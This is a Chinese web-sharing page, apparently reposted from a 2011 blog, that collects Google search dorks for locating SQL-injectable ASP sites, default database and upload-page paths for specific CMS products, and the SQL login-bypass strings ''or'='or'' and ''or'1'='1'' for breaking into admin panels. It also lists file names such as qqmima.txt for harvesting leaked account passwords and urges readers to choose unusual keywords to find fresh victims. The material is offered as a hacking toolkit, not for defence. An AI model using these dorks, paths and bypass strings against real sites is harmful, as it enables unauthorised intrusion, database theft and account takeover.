应用注册用户名: 密码:
HOHO照片PK分享投票测试礼物开心部落汽车工厂七彩鱼
更多
网页游戏分享热门分享 最新分享 好友的分享 我的分享
如何分享? 问题反馈
fusini2006的分享
分享
常用的SQL注入关键字
常用的SQL注入关键字
inurl:asp
目标关键字+inurl:id
英语字母及单词+inurl:id
网站域名+inurl:id
阿拉伯数字+inurl:id
inurl:asp?id=
inurl:Article_Print.asp?
EnCompHonorBig.asp?id=随便加个数字
showproduct.asp?id=随便加个数字
inurl:ManageLogin.asp
EnCompHonorBig.asp?id= 随便加个数字
inurl: (asp?=数字) inurl: (php?=数字)
inurl:Article_Print.asp?
site 指定网站 inurl:Article_Print.asp?
NewsInfo.asp?id=
ShowNew.asp?Id=
ShowNews.asp?Id=
Show.asp?Id=
注入拿站关键字整理（超全）
关键字：Power WenDay Ver1.0
添加： /db/PW_SYS_Data.mdb
关键字：powered by WEBBOY
添加： /upfile.asp
关键字：Powered By ：SMT Version 5.0
添加： /bbs/upfile.asp /upfile_flash.asp
关键字：team5 studio all rights reserved
添加： /data/team.mdb
关键字：传奇私服
添加： /msmirdata/msmirArticle.mdb(默认数据库)
后台管理地址:http;//您的域名/msmiradmin/
关键字:同城约会 贺卡传情 情感随笔 热门投票
添加: /admin/upload_file.asp (明小子上传)
关键字: 公司后台
添加： /manage/Login.asp （用"or"="or"）
关键字：企业邮局 企业荣誉 营销网络 产品分类 信息反馈
联系我们 收藏本站 网站管理
添加： /admin/login.asp (后台管理地址,管理员帐号密码
=admin)
关键字：
添加：/data/scadata.mdzhaozhon
关键字: Power System Of Article Management Ver 3.0
Build 20030628
添加: /database\yiuwekdsodksldfslwifds.mdb (后台的后
缀全是/admin_index.asp)
关键字: Foosun
添加: /Foosun_Data/FS400.mdbAdmin/login.asp (后台的后
缀全是admin/login.asp)
关键字：Powered By Kesion Inc
默认数据库 ks_data/ks_database.mdb
关键字： inurl:qq.txt （啊拉）
inurl:Mz.txt （极限居）
inurlQCJB.txt （QQ冲击波）
inurl:qqnum.txt （完美）
1、如在网站中找到诸如：“请登录后再使用本功能！”这样
的就可以用明小子上传试试
2、使用明小子上传时选择“动力上传漏
洞—/upfile_softpic.asp页面”
明小子关键词：
1.ProductShow.asp?ArticleID=
2.inurl:show_news.asp?id=
3.site inurl:Article_Print.asp
9.4.edit.asp?
5.site:cq.cn inurl:asp
6.intitle:网站小助手
7.powered by comersus ASP shopping cart
open source
8./skins/default/
9.动力上传系统
10.oioj's blog
11.动网: ReloadForumCache.asp
12."intext:Discuz! 4.1.0"
13.尚奈克斯
14.Team5 Studio All rights reserved
15.XXX inurl:Nclass.asp
16.Powered by:QCDN_NEWS
17.发布系统
18.asp?id=1
19.Powered by:94KKBBS 2005
20.inurl:readnews.asp
21.程序核心
经典的用户名密码
'or'='or'
'or'1'='1
这2个密码在很多网站后台,QQ空间相册都可以登陆,不过不是
100%而已....
inurl: 用于搜索网页上包含的URL. 这个语法对寻找网页上
的搜索,帮助之类的很有用.
intext: 只搜索网页<body>部分中包含的文字(也就是忽略了
标题,URL等的文字).
site: 可以限制你搜索范围的域名.
filetype: 搜索文件的后缀或者扩展名
intitle: 限制你搜索的网页标题.
allintitle: 搜索所有关键字构成标题的网页. 但是推荐不
要使用
link: 可以得到一个所有包含了某个指定URL的页面列表. 例
如link:www.google.com 就可以得到所有连接到Google的页
面
=====================================================
==============================
intext:管理
filetype:mdb
inurl:file
site:xx.com filetype:txt 查找TXT文件 其他的依次内推
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:后台
查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
查看上传漏洞：
site:xx.com inurl:file
site:xx.com inurl:load
查找注射点：
site:xx.com filetype:asp
site:tw inurl:asp?id= 这个是找台湾的
或
site:jp inurl:asp?id= 这个是找日本的
或
site:ko inurl:asp?id= 这个是找韩国的
依次类推
1、如在网站中找到诸如：“请登录后再使用本功能！”这样
的就可以用明小子上传试试
2、使用明小子上传时选择“动力上传漏
洞—/upfile_softpic.asp页面”
pwd.asp
pwd.txt
123.asp
123.txt
qqhao.txt
qqhao.asp
qqmima.asp
qqmima.txt
qq.txt
qq.asp
关键字就要自己想些独特一点的 如果都去扫那些什么 免费
QB 什么的 那都是别人扫剩下的 你拿来也没用 记得一定要
独特 比如收号 信箱 等等 充分发挥你的想象空间
关键字：Power WenDay Ver1.0
添加： /db/PW_SYS_Data.mdb
关键字：powered by WEBBOY
添加： /upfile.asp
关键字：Powered By ：SMT Version 5.0
添加： /bbs/upfile.asp /upfile_flash.asp
关键字：team5 studio all rights reserved
添加： /data/team.mdb
关键字：传奇私服
添加： /msmirdata/msmirArticle.mdb(默认数据库)
后台管理地址:http;//您的域名/msmiradmin/
关键字:同城约会 贺卡传情 情感随笔 热门投票
添加: /admin/upload_file.asp (明小子上传)
关键字: 公司后台
添加： /manage/Login.asp （用"or"="or"）
关键字：企业邮局 企业荣誉 营销网络 产品分类 信息反馈
联系我们 收藏本站 网站管理
添加： /admin/login.asp (后台管理地址,管理员帐号密码
=admin)
关键字：by wygk
添加：/data/scadata.mdb
关键字: Power System Of Article Management Ver 3.0
Build 20030628
添加: /database\yiuwekdsodksldfslwifds.mdb (后台的后
缀全是/admin_index.asp)
关键字: Foosun
添加: /Foosun_Data/FS400.mdbAdmin/login.asp (后台的后
缀全是admin/login.asp)
关键字：Powered By Kesion Inc
默认数据库 ks_data/ks_database.mdb
关键字： inurl:qq.txt （啊拉）
inurl:Mz.txt （极限居）
inurlQCJB.txt （QQ冲击波）
inurl:qqnum.txt （完美）
为了您的安全，请只打开来源可靠的网址
打开网站 取消
来自: http://hi.baidu.com/%D0%E9%D0%C4%C7%F3%D1%A7121/blog/item/5f6e2d14d143644621a4e962.html
来自:
虚心求学121 第一分享:
fusini2006 时间: 2011-09-24 22:50 评论: 0条 投票: 1次 本贴分享: 2 累计分享: 7 共有1人发表观点
注入 ...或者输入其他标签词： fusini2006的 博客 相关分享:
Zen cart商品评论显示在商品详情页面
zencart友情链接插件
zencart后台设置
免费开源微博程序大全
评论(0)
帮助中心 | 空间客服 | 投诉中心 | 空间协议
?2011 Baidu
